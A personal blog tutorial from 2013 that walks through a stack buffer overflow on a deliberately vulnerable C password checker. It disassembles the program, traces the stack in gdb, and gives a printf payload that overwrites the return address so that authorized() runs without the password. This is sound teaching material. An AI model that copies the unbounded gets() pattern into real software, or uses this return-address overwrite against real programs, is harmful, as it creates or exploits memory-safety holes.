Buffer Overflows 27 May 2013

Stack Overflow

I’m not normally a security guy, but I’ve been doing some reading lately and I’m beginning to find it enticing. I rediscovered osdev.org and with it the world of operating system development, which in turn (somehow) led me to reading about buffer overflows. I’m going to write a short tutorial on executing a buffer overflow on a vulnerable C program, in order to both practice what I’ve learned and help some people out. We will take a look at a C program that requests a password and calls an “authorized” function if the password is correct. Since we don’t know the password (I’ve actually forgotten it), we will call the authorized() function directly with an overflow.

So, let’s get down to business. You should know what a stack is, and if you don’t then quickly head over to osdev and get to know it a bit. In short, it’s a structure in which one can store and retrieve data in a LIFO manner (last-in-first-out), that grows from higher to lower memory. I’ll explain things a bit more once we take a look at our vulnerable program below:

 1 #include <stdio.h>
 2 #include <crypt.h>
 3 
 4 const char pass[] = "$1$k3Eadsf$blee.9JxQ75A/dSQSxW3v/"; // Password
 5 
 6 void authorized() {
 7   printf("You rascal you!\n");
 8 }
 9 
10 void getInput() {
11 
12   char buffer[8];
13   gets(buffer);
14 
15   if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) {
16     authorized();
17   }
18 }
19 
20 int main() {
21 
22   getInput();
23 
24   return 0;
25 }

The source is pretty straightforward; a password is requested and checked against a stored encrypted password. If they match, a function is called. The function would in theory use the knowledge that the user is authorized to perform a secure task, but in this example it just prints a string. Let’s compile and run the program, and take a look at the output.

cris@spectrumit-cris ~/D/p/overflow> gcc -ggdb -fno-stack-protector -z execstack overflow.c -lcrypt -o overflow
overflow.c: In function 'getInput':
overflow.c:12:2: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
  gets(buffer);
  ^
cris@spectrumit-cris ~/D/p/overflow> ./overflow
password
cris@spectrumit-cris ~/D/p/overflow>

The program allocates an 8 byte buffer, then loads user input into that buffer, encrypts it, and compares it with the stored password. We get a warning that gets() is depreciated, and rightfully so - it doesn’t do any bounds checking on the input, so it is what we will use to carry out our exploit. Let’s dump the generated machine code using objdump so we can see what exactly is happening here:

cris@spectrumit-cris ~/D/p/overflow> objdump -d -M intel blog


blog: file format elf64-x86-64

Disassembly of section .init
  ...
Disassembly of section .plt:
  ...
Disassembly of section .text:
  ....

00000000004006a0 <authorized>:
  4006a0: 55                    push   rbp
  4006a1: 48 89 e5              mov    rbp,rsp
  4006a4: bf e2 07 40 00        mov    edi,0x4007e2
  4006a9: e8 a2 fe ff ff        call   400550 <puts@plt>
  4006ae: 5d                    pop    rbp
  4006af: c3                    ret

00000000004006b0 <getInput>:
  4006b0: 55                    push   rbp
  4006b1: 48 89 e5              mov    rbp,rsp
  4006b4: 48 83 ec 10           sub    rsp,0x10
  4006b8: 48 8d 45 f0           lea    rax,[rbp-0x10]
  4006bc: 48 89 c7              mov    rdi,rax
  4006bf: e8 dc fe ff ff        call   4005a0 <gets@plt>
  4006c4: 48 8d 45 f0           lea    rax,[rbp-0x10]
  4006c8: be f2 07 40 00        mov    esi,0x4007f2
  4006cd: 48 89 c7              mov    rdi,rax
  4006d0: e8 8b fe ff ff        call   400560 <crypt@plt>
  4006d5: 48 89 c6              mov    rsi,rax
  4006d8: bf c0 07 40 00        mov    edi,0x4007c0
  4006dd: e8 9e fe ff ff        call   400580 <strcmp@plt>
  4006e2: 85 c0                 test   eax,eax
  4006e4: 75 0a                 jne    4006f0 <getInput+0x40>
  4006e6: b8 00 00 00 00        mov    eax,0x0
  4006eb: e8 b0 ff ff ff        call   4006a0 <authorized>
  4006f0: c9                    leave
  4006f1: c3                    ret

00000000004006f2 <main>:
  4006f2: 55                    push   rbp
  4006f3: 48 89 e5              mov    rbp,rsp
  4006f6: b8 00 00 00 00        mov    eax,0x0
  4006fb: e8 b0 ff ff ff        call   4006b0 <getInput>
  400700: b8 00 00 00 00        mov    eax,0x0
  400705: 5d                    pop    rbp
  400706: c3                    ret
  400707: 66 0f 1f 84 00 00 00  nop    WORD PTR [rax+rax*1+0x0]
  40070e: 00 00

I trimmed the output to the functions we are interested in, and formated disassembly in intel syntax. Let’s start our analysis from the main function, since that is where meaningful execution begins for us (skipping libc_start_main and whatnot).

00000000004006f2 <main>:
  4006f2: 55                    push   rbp
  4006f3: 48 89 e5              mov    rbp,rsp
  4006f6: b8 00 00 00 00        mov    eax,0x0
  4006fb: e8 b0 ff ff ff        call   4006b0 <getInput>
  400700: b8 00 00 00 00        mov    eax,0x0
  400705: 5d                    pop    rbp
  400706: c3                    ret
  400707: 66 0f 1f 84 00 00 00  nop    WORD PTR [rax+rax*1+0x0]
  40070e: 00 00

So, what is going on here? First the rbp register is pushed onto the stack, after which it is overwritten with the value in rsp. If we take a peak at the beginning of the other functions, we see identical code:

00000000004006a0 <authorized>:
  4006a0: 55                    push   rbp
  4006a1: 48 89 e5              mov    rbp,rsp
  ...
00000000004006b0 <getInput>:
  4006b0: 55                    push   rbp
  4006b1: 48 89 e5              mov    rbp,rsp
  ...

This is called a function prologue, and is followed by a function epilogue at the end of the function. First, the current base pointer is pushed onto the stack, after which the base pointer is set to point to top of the stack, which contains the old base pointer.

The previous base pointer points to the one before it, which in turn points to the one before it, and so on. This allows for a stack trace to be constructed in the case of an error, since the base pointers can be followed all the way down, pointing to the start of different stack frames.

A stack frame is a section of the stack in use by a single function. It contains the parameters for the function, the return address, and space for local variables. I’ll borrow an image from the wikipedia article on the call stack to help illustrate things:

Stack Diagram

The function names differ, but the situation is the same. The stack grows downwards, so the return address is at a higher position in memory than the locals for the function. Let’s get back to our functions and see what this means for us. After the function prologue, and a mov eax, 0x0 instruction, our getInput() function is called:

00000000004006b0 <getInput>:
  4006b0: 55                    push   rbp
  4006b1: 48 89 e5              mov    rbp,rsp
  4006b4: 48 83 ec 10           sub    rsp,0x10
  4006b8: 48 8d 45 f0           lea    rax,[rbp-0x10]
  4006bc: 48 89 c7              mov    rdi,rax
  4006bf: e8 dc fe ff ff        call   4005a0 <gets@plt>
  4006c4: 48 8d 45 f0           lea    rax,[rbp-0x10]
  4006c8: be f2 07 40 00        mov    esi,0x4007f2
  4006cd: 48 89 c7              mov    rdi,rax
  4006d0: e8 8b fe ff ff        call   400560 <crypt@plt>
  4006d5: 48 89 c6              mov    rsi,rax
  4006d8: bf c0 07 40 00        mov    edi,0x4007c0
  4006dd: e8 9e fe ff ff        call   400580 <strcmp@plt>
  4006e2: 85 c0                 test   eax,eax
  4006e4: 75 0a                 jne    4006f0 <getInput+0x40>
  4006e6: b8 00 00 00 00        mov    eax,0x0
  4006eb: e8 b0 ff ff ff        call   4006a0 <authorized>
  4006f0: c9                    leave
  4006f1: c3                    ret

Here we see the familiar function prologue, followed by a few interesting instructions preceeding the call to gets(). Here is the source once again for reference:

1 void getInput() {
2 
3   char buffer[8];
4   gets(buffer);
5 
6   if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) {
7     authorized();
8   }
9 }

The stack is expanded by 16 bytes with sub rsp, 0x10, after which rax is set to point to the new top of the stack. What’s going on here? Our buffer is only 8 bytes in size, yet room is being made on the stack for 16 bytes. This is because of the Streaming SIMD Extensions to the x86 instruction set, which require that the stack stay aligned to 16 bytes. So the last 8 bytes essentially serve as padding, and increase the unofficial size of our buffer to 16 bytes.

With lea rax, [rbp-0x10] and mov rdi, rax the location pointed at by rbp - 0x10 (the top of the stack) is loaded into rdi, so it serves as the data segment for the gets() function. Since the stack grows downards, the buffer extends from the top of the stack (rbp - 0x10) to rbp itself.

Now, what’s our plan of attack here? Our goal is to get the authorized() function to execute. We can do this by changing the return address of the current function to the beginning of authorized()

When a call instruction is executed, the current value of rip (the instruction pointer) is pushed onto the stack. This is also why the stack is aligned to 16 bytes after the push rbp instruction; the return address is only 8 bytes long, so rbp serves as the other 8 bytes necessary for alignment. Let’s load up our program in gdb and follow along with what happens to the stack:

cris@spectrumit-cris ~/D/p/overflow> gdb overflow
GNU gdb (GDB) 7.6
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/cris/Documents/projects/overflow/overflow...done.

(gdb) set disassembly-flavor intel

(gdb) disas main
Dump of assembler code for function main:
  0x00000000004006f2 <+0>:  push   rbp
  0x00000000004006f3 <+1>:  mov    rbp,rsp
  0x00000000004006f6 <+4>:  mov    eax,0x0
  0x00000000004006fb <+9>:  call   0x4006b0 <getInput>
  0x0000000000400700 <+14>: mov    eax,0x0
  0x0000000000400705 <+19>: pop    rbp
  0x0000000000400706 <+20>: ret
End of assembler dump.

We can see the disassembly of the main() routine above. We want to see the stack immediately after main() is entered, so let’s set a breakpoint at the push rbp instruction, start the program and dump the stack:

(gdb) b *0x00000000004006f2
Breakpoint 1 at 0x4006f2: file overflow.c, line 19.

(gdb) start
Temporary breakpoint 2 at 0x4006f6: file overflow.c, line 21.
Starting program: /home/cris/Documents/projects/overflow/overflow

Breakpoint 1, main () at overflow.c:19
19  int main() {

(gdb) x/8gx $rsp
0x7fffffffe6f8: 0x00007ffff7818a15  0x0000000000000000
0x7fffffffe708: 0x00007fffffffe7d8  0x0000000100000000
0x7fffffffe718: 0x00000000004006f2  0x0000000000000000
0x7fffffffe728: 0xab4f0bd07ac4a669  0x00000000004005b0

Here we can see that the stack is currently not aligned to 16 bytes. We have just executed the call to main, and as such we should expect the value at the top of the stack to be main’s return address. We can verify this by disassembling the code at it’s location, revealing __libc_start_main. I’ve trimmed the output to the show the specific region we are interested in:

Dump of assembler code for function __libc_start_main:
  ...
  0x00007ffff7818a0b <+235>:  mov    rdx,QWORD PTR [rax]
  0x00007ffff7818a0e <+238>:  mov    rax,QWORD PTR [rsp+0x18]
  0x00007ffff7818a13 <+243>:  call   rax
  0x00007ffff7818a15 <+245>:  mov    edi,eax
  0x00007ffff7818a17 <+247>:  call   0x7ffff782ecd0 <exit>
  ...
End of assembler dump.

The instruction at address 0x00007ffff7818a15 is mov edi, eax and is followed by a call to exit(). eax contains our exit code, which is used inside of exit() once our program terminates. So, we’ve confirmed that the top of the stack is main’s return address. rbp at this point is null, so after it is pushed onto the stack the top two words are 0x0000000000000000 0x00007ffff7818a15. We’ll step over the next few instructions, and break again right inside of getInput():

(gdb) disas getInput
Dump of assembler code for function getInput:
  0x00000000004006b0 <+0>:  push   rbp
  0x00000000004006b1 <+1>:  mov    rbp,rsp
  0x00000000004006b4 <+4>:  sub    rsp,0x10
  0x00000000004006b8 <+8>:  lea    rax,[rbp-0x10]
  0x00000000004006bc <+12>: mov    rdi,rax
  0x00000000004006bf <+15>: call   0x4005a0 <gets@plt>
  0x00000000004006c4 <+20>: lea    rax,[rbp-0x10]
  0x00000000004006c8 <+24>: mov    esi,0x4007f2
  0x00000000004006cd <+29>: mov    rdi,rax
  0x00000000004006d0 <+32>: call   0x400560 <crypt@plt>
  0x00000000004006d5 <+37>: mov    rsi,rax
  0x00000000004006d8 <+40>: mov    edi,0x4007c0
  0x00000000004006dd <+45>: call   0x400580 <strcmp@plt>
  0x00000000004006e2 <+50>: test   eax,eax
  0x00000000004006e4 <+52>: jne    0x4006f0 <getInput+64>
  0x00000000004006e6 <+54>: mov    eax,0x0
  0x00000000004006eb <+59>: call   0x4006a0 <authorized>
  0x00000000004006f0 <+64>: leave
  0x00000000004006f1 <+65>: ret

(gdb) b *0x00000000004006b1
Breakpoint 3 at 0x4006b1: file overflow.c, line 9

(gdb) c
Continuing.

Breakpoint 3 0x00000000004006b1 in getInput () at overflow.c:9
9 void getInput() {

(gdb) x/8gx $rsp
0x7fffffffe6e0: 0x00007fffffffe6f0  0x0000000000400700
0x7fffffffe6f0: 0x0000000000000000  0x00007ffff7818a15
0x7fffffffe700: 0x0000000000000000  0x00007fffffffe7d8
0x7fffffffe710: 0x0000000100000000  0x00000000004006f2

I’ve explained the stack elements above, and we can verify that 0x0000000000400700 is the ret address for getInput by peeking back at our main function:

...
0x00000000004006fb <+9>:  call   0x4006b0 <getInput>
0x0000000000400700 <+14>: mov    eax,0x0
...

Now, the next few instructions expand the stack by 16 bytes as explained earlier, and call our gets() function. Let’s set a breakpoint after the call to gets(), and continue execution:

(gdb) b *0x00000000004006c4
Breakpoint 4 at 0x4006c4: file overflow.c, line 14.

(gdb) c
Continuing.
aabbccdd

Breakpoint 4, getInput () at overflow.c:14
14    if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) {

(gdb) x/8gx $rsp
0x7fffffffe6d0: 0x6464636362626161  0x0000000000400500
0x7fffffffe6e0: 0x00007fffffffe6f0  0x0000000000400700
0x7fffffffe6f0: 0x0000000000000000  0x00007ffff7818a15
0x7fffffffe700: 0x0000000000000000  0x00007fffffffe7d8

I passed ‘aabbccdd’ as our password, since that’ll make it easier to see the data on the stack. After returning from gets() the stack contains another 16 bytes “under” the previous as a result of our sub rsp, 0x10. Since those serve as the buffer, we can observe that bytes are packed on in reverse order; 0x61 is the ASCII code for the lowercase ‘a’, 0x62 for lowercase ‘b’, and so on. If we restart the program and pass 16 a’s as our password, we can see that our data grows “up” the stack:

(gdb) b *0x00000000004006c4
Breakpoint 4 at 0x4006c4: file overflow.c, line 14.

(gdb) c
Continuing.
aaaaaaaaaaaaaaaa

Breakpoint 4, getInput () at overflow.c:14
14    if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) {

(gdb) x/8gx $rsp
0x7fffffffe6d0: 0x6161616161616161  0x6161616161616161
0x7fffffffe6e0: 0x00007fffffffe6f0  0x0000000000400700
0x7fffffffe6f0: 0x0000000000000000  0x00007ffff7818a15
0x7fffffffe700: 0x0000000000000000  0x00007fffffffe7d8

Therefore, if we provide enough data as an input, we can overwrite the return address with the address of our authorize() function. Let’s dissassemble the authorized() function and get the address we need:

(gdb) disas authorized
Dump of assembler code for function authorized:
0x00000000004006a0 <+0>:   push   rbp
0x00000000004006a1 <+1>:  mov    rbp,rsp
0x00000000004006a4 <+4>:  mov    edi,0x4007e2
0x00000000004006a9 <+9>:  call   0x400550 <puts@plt>
0x00000000004006ae <+14>: pop    rbp
0x00000000004006af <+15>: ret
End of assembler dump.

Now all we need to do is overwrite the ret address inside of getInput() with 0x00000000004006a0, and we are done! We can do this by passing input to our program using printf in a shell. You can denote hex characters by escaping them with \x. Since the address is read backwards from the stack, we need to supply it in reverse. Also, we need to end our buffer with a null byte (0x00) so that the strcmp call doesn’t cause a seg fault before our function returns. The resulting printf statement is visible below:

printf "aaaaaaaaaaaaaaaaaaaaaaa\x00\xa0\x06\x40\x00\x00\x00\x00\x00" | ./overflow

That’s 16 a’s for the buffer, another 7 + null byte to overwrite the rbp, and finally our target address in reverse, which overwrites the old one. If we run this, the program is exploited into running the authorized() function, even though we are not authorized:

cris@spectrumit-cris ~/D/p/overflow> printf "aaaaaaaaaaaaaaaaaaaaaaa\x00\xa0\x06\x40\x00\x00\x00\x00\x00" |
 ./overflow
You rascal you!
fish: Process 9299, “./overflow” from job 1, “printf "aaaaaaaaaaaaaaaaaaaaaaa\x00\xa0\x06\x40\x00\x00\x00
\x00\x00" | ./overflow” terminated by signal SIGSEGV (Address boundary error)

Our program segfaults since the ret address on the stack pointing back into __libc_start_main is not aligned properly (the push rbp at the start of main() is never popped), but we can see it prints You rascal you!, so we know execution was routed to the authorized() function.

There you have it! A simple buffer overflow. It’s quite fascinating once you understand what is going on. Back when stacks were still executable, you could push code onto the stack into a buffer such as this, and point the ret address back into the buffer, thereby executing your code with the permissions of the process. This is no longer posssible, but one can still modify the return address of functions, which offers quite some power.

Some links for people wishing to learn more: